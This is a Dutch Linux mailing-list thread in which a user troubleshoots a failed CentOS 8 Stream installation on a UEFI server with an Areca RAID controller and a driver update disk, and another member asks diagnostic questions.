paul.de.vries op xs4all.nl Sun Dec 29 23:45:25 2019 From: paul.de.vries op xs4all.nl (Paul de Vries) Date: Sun, 29 Dec 2019 23:45:25 +0100 Subject: [linux] kan centos 8 niet installeren Message-ID: we hebben 2 servers: main en backup. beide draaien centos 6. main wordt binnenkort vervangen dus wilde ik op backup alvast centos 8 installeren om de downtime van de nieuwe main zo kort mogelijk te houden. het gaat om een oudere server met een areca arc-1680 raid controller. die is uit centos 8 verwijderd maar gelukkig is er elrepo. dus install centos 8 stream van usb stick met boot param inst.dd daarna kan ik de juiste dud iso selecteren, ik zie 'kmod-arcmsr extracted', maar de areca disks zijn niet te benaderen. dan maar de omweg via een externe usb disk, om daarop dan arcmsr te installeren, en dan naar areca te kopieren. ik wil een minimal installatie op die usb disk hebben om daarna simpel te kopieren. manual partitioning: sda1 /boot/efi, efi system partition sda2 / op het eind krijg ik 'bootloader install failed'. in de debug staat: 'NOTICE root:83haiku: debug: /dev/sdc1 is not a beFS partiotion: exiting' over centos8 boot partities kan ik niets vinden voor efiboot, alleen biosboot voor virtual machines. voor centos7 zie ik dat je /boot/efi op sda1 vfat nofig hebt, /boot op sdax ext4, en / maakt niet uit. ik heb voor zover ik weet alle combinaties geprobeerd van /boot en/of /boot/efi maar altijd cannot install bootloader. 1. moet ik iets speciaals doen voor de driver update disk? ik doe select disk, select iso, select module, en zoals gezegd 'module extracted' maar dat zegt nog niet dat module ook geactiveerd is. kan het zijn dat centos stream een andere versie heeft dan 8.0 of 8.1 en dat het daardoor mis gaat? 2. hoe moet ik /boot & co definieren? ik wil eigenlijk alleen noodzakelijke boot en minimale root om dat areca module te installeren, dan kopie naar areca disks, en dan verder inrichten. From stappers op stappers.nl Mon Dec 30 07:35:52 2019 From: stappers op stappers.nl (Geert Stappers) Date: Mon, 30 Dec 2019 07:35:52 +0100 Subject: [linux] kan centos 8 niet installeren In-Reply-To: References: Message-ID: <20191230063552.dph4ql65c3pxvw2h@gpm.stappers.nl> On Sun, Dec 29, 2019 at 11:45:25PM +0100, Paul de Vries wrote: > we hebben 2 servers: main en backup. beide draaien centos 6. main wordt > binnenkort vervangen dus wilde ik op backup alvast centos 8 installeren > om de downtime van de nieuwe main zo kort mogelijk te houden. > > het gaat om een oudere server met een areca arc-1680 raid > controller. die is uit centos 8 verwijderd maar gelukkig is er elrepo. > > dus install centos 8 stream van usb stick met boot param inst.dd > daarna kan ik de juiste dud iso selecteren, ik zie 'kmod-arcmsr > extracted', maar de areca disks zijn niet te benaderen. Zo een melding van "no disks found" had ik ooit bij nieuwe hardware. Het bleek dat ik eerst tegen de RAID-controller moest zeggen hoe de disken in een RAID-configuratie moet zitten. Dat ging m.b.v. een configuratie tool die in de firmware zit. Bij "oude" server zal dat reeds gebeurd zijn ... > dan maar de omweg via een externe usb disk, om daarop dan arcmsr te > installeren, en dan naar areca te kopieren. > > ik wil een minimal installatie op die usb disk hebben om daarna simpel > te kopieren. > manual partitioning: > sda1 /boot/efi, efi system partition > sda2 / > op het eind krijg ik 'bootloader install failed'. in de debug staat: > 'NOTICE root:83haiku: debug: /dev/sdc1 is not a beFS partiotion: exiting' https://www.haiku-os.org/about/ Weet je zeker dat je met de juiste image aan de slag bent gegaan? > > over centos8 boot partities kan ik niets vinden voor efiboot, alleen > biosboot voor virtual machines. > voor centos7 zie ik dat je /boot/efi op sda1 vfat nofig hebt, /boot > op sdax ext4, en / maakt niet uit. > ik heb voor zover ik weet alle combinaties geprobeerd van /boot en/of > /boot/efi maar altijd cannot install bootloader. > > 1. moet ik iets speciaals doen voor de driver update disk? > ik doe select disk, select iso, select module, en zoals gezegd 'module > extracted' maar dat zegt nog niet dat module ook geactiveerd is. kan > het zijn dat centos stream een andere versie heeft dan 8.0 of 8.1 en > dat het daardoor mis gaat? > > 2. hoe moet ik /boot & co definieren? > ik wil eigenlijk alleen noodzakelijke boot en minimale root om dat > areca module te installeren, dan kopie naar areca disks, en dan verder > inrichten. Groeten Geert Stappers -- Leven en laten leven From paul.de.vries op xs4all.nl Mon Dec 30 16:12:24 2019 From: paul.de.vries op xs4all.nl (Paul de Vries) Date: Mon, 30 Dec 2019 16:12:24 +0100 Subject: [linux] kan centos 8 niet installeren In-Reply-To: <20191230063552.dph4ql65c3pxvw2h@gpm.stappers.nl> References: <20191230063552.dph4ql65c3pxvw2h@gpm.stappers.nl> Message-ID: > On 2019-12-30, at 07:35:52, Geert Stappers wrote: > > On Sun, Dec 29, 2019 at 11:45:25PM +0100, Paul de Vries wrote: >> we hebben 2 servers: main en backup. beide draaien centos 6. main wordt >> binnenkort vervangen dus wilde ik op backup alvast centos 8 installeren >> om de downtime van de nieuwe main zo kort mogelijk te houden. >> >> het gaat om een oudere server met een areca arc-1680 raid >> controller. die is uit centos 8 verwijderd maar gelukkig is er elrepo. >> >> dus install centos 8 stream van usb stick met boot param inst.dd >> daarna kan ik de juiste dud iso selecteren, ik zie 'kmod-arcmsr >> extracted', maar de areca disks zijn niet te benaderen. > > Zo een melding van "no disks found" had ik ooit bij nieuwe hardware. > Het bleek dat ik eerst tegen de RAID-controller moest zeggen hoe > de disken in een RAID-configuratie moet zitten. Dat ging m.b.v. > een configuratie tool die in de firmware zit. > Bij "oude" server zal dat reeds gebeurd zijn ... inderdaad, in bios zie ik de 3 volumes voor os-oud, data, os-new. elrepo levert 'verouderde' drivers voor rhel/centos. heb ze om een dud iso voor centos 8 stream gevraagd, maar daar beginnen ze niet aan (moving target). > dan maar de omweg via een externe usb disk, om daarop dan arcmsr te >> installeren, en dan naar areca te kopieren. >> >> ik wil een minimal installatie op die usb disk hebben om daarna simpel >> te kopieren. >> manual partitioning: >> sda1 /boot/efi, efi system partition >> sda2 / >> op het eind krijg ik 'bootloader install failed'. in de debug staat: >> 'NOTICE root:83haiku: debug: /dev/sdc1 is not a beFS partiotion: exiting' > > https://www.haiku-os.org/about/ > Weet je zeker dat je met de juiste image aan de slag bent gegaan? jazeker. heb een nieuwe download gedaan, compare is identiek, ook met usb stick. >> over centos8 boot partities kan ik niets vinden voor efiboot, alleen >> biosboot voor virtual machines. >> voor centos7 zie ik dat je /boot/efi op sda1 vfat nofig hebt, /boot >> op sdax ext4, en / maakt niet uit. >> ik heb voor zover ik weet alle combinaties geprobeerd van /boot en/of >> /boot/efi maar altijd cannot install bootloader. leuk is ook dat alle how to install with pictures uit gaan van een vm met bios, niet bare metal met uefi. >> 1. moet ik iets speciaals doen voor de driver update disk? >> ik doe select disk, select iso, select module, en zoals gezegd 'module >> extracted' maar dat zegt nog niet dat module ook geactiveerd is. kan >> het zijn dat centos stream een andere versie heeft dan 8.0 of 8.1 en >> dat het daardoor mis gaat? >> >> 2. hoe moet ik /boot & co definieren? >> ik wil eigenlijk alleen noodzakelijke boot en minimale root om dat >> areca module te installeren, dan kopie naar areca disks, en dan verder >> inrichten. > > > Groeten > Geert Stappers heb als laatste poging nog een automatic partitioning gedaan, die levert bios boot, en die kan ook niet booten. From j.j.paijmans op gmail.com Mon Dec 30 16:30:26 2019 From: j.j.paijmans op gmail.com (paai) Date: Mon, 30 Dec 2019 16:30:26 +0100 Subject: [linux] stamtafel Message-ID: Beste mensen, ik probeer op 'stamtafel' een discussie te starten. Kijken jullie even? Bedankt, en gelukkig nieuwjaar. Paai -- Dr. J.J. Paijmans From stappers op stappers.nl Tue Dec 31 07:50:14 2019 From: stappers op stappers.nl (Geert Stappers) Date: Tue, 31 Dec 2019 07:50:14 +0100 Subject: [linux] kan centos 8 niet installeren In-Reply-To: References: <20191230063552.dph4ql65c3pxvw2h@gpm.stappers.nl> Message-ID: <20191231065014.d4cgnzxsbcpyzgke@gpm.stappers.nl> On Mon, Dec 30, 2019 at 04:12:24PM +0100, Paul de Vries wrote: > On 2019-12-30, at 07:35:52, Geert Stappers wrote: > > On Sun, Dec 29, 2019 at 11:45:25PM +0100, Paul de Vries wrote: > >> we hebben 2 servers: main en backup. beide draaien centos 6. main wordt > >> binnenkort vervangen dus wilde ik op backup alvast centos 8 installeren > >> om de downtime van de nieuwe main zo kort mogelijk te houden. > >> > >> het gaat om een oudere server met een areca arc-1680 raid > >> controller. die is uit centos 8 verwijderd maar gelukkig is er elrepo. > >> > >> dus install centos 8 stream van usb stick met boot param inst.dd > >> daarna kan ik de juiste dud iso selecteren, ik zie 'kmod-arcmsr > >> extracted', maar de areca disks zijn niet te benaderen. > > > > Zo een melding van "no disks found" had ik ooit bij nieuwe hardware. > > Het bleek dat ik eerst tegen de RAID-controller moest zeggen hoe > > de disken in een RAID-configuratie moet zitten. Dat ging m.b.v. > > een configuratie tool die in de firmware zit. > > Bij "oude" server zal dat reeds gebeurd zijn ... > > inderdaad, in bios zie ik de 3 volumes voor os-oud, data, os-new. > > elrepo levert 'verouderde' drivers voor rhel/centos. heb ze om een > dud iso voor centos 8 stream gevraagd, maar daar beginnen ze niet aan > (moving target). > > > > dan maar de omweg via een externe usb disk, om daarop dan arcmsr te > >> installeren, en dan naar areca te kopieren. > >> > >> ik wil een minimal installatie op die usb disk hebben om daarna simpel > >> te kopieren. > >> manual partitioning: > >> sda1 /boot/efi, efi system partition > >> sda2 / > >> op het eind krijg ik 'bootloader install failed'. in de debug staat: > >> 'NOTICE root:83haiku: debug: /dev/sdc1 is not a beFS partiotion: exiting' > > > > https://www.haiku-os.org/about/ > > Weet je zeker dat je met de juiste image aan de slag bent gegaan? > > jazeker. heb een nieuwe download gedaan, compare is identiek, ook met usb stick. > > > >> over centos8 boot partities kan ik niets vinden voor efiboot, alleen > >> biosboot voor virtual machines. > >> voor centos7 zie ik dat je /boot/efi op sda1 vfat nofig hebt, /boot > >> op sdax ext4, en / maakt niet uit. > >> ik heb voor zover ik weet alle combinaties geprobeerd van /boot en/of > >> /boot/efi maar altijd cannot install bootloader. > > leuk is ook dat alle how to install with pictures uit gaan van een vm > met bios, niet bare metal met uefi. > > > >> 1. moet ik iets speciaals doen voor de driver update disk? > >> ik doe select disk, select iso, select module, en zoals gezegd 'module > >> extracted' maar dat zegt nog niet dat module ook geactiveerd is. kan > >> het zijn dat centos stream een andere versie heeft dan 8.0 of 8.1 en > >> dat het daardoor mis gaat? > >> > >> 2. hoe moet ik /boot & co definieren? > >> ik wil eigenlijk alleen noodzakelijke boot en minimale root om dat > >> areca module te installeren, dan kopie naar areca disks, en dan verder > >> inrichten. > > > > > > Groeten > > Geert Stappers > > heb als laatste poging nog een automatic partitioning gedaan, die levert bios boot, en die kan ook niet booten. > Als ik het goed begrijp: * Hardware heeft UEFI firmware * Eerdere Linux versie werkte * BootROM start de CentOS 8 installer * De installer ziet wel disken * De installer wil niet op die disken gaan schrijven * Er was contact met RedHat, maar niets bereikt Mijn vragen: Wat zegt de hardware leverancier? Hoe zijn de ervaringen met "live ISO" als Knoppix of GRML? Wat is de economische waarde van de hardware? Wie zou je willen inhuren? Groeten Geert Stappers -- Leven en laten leven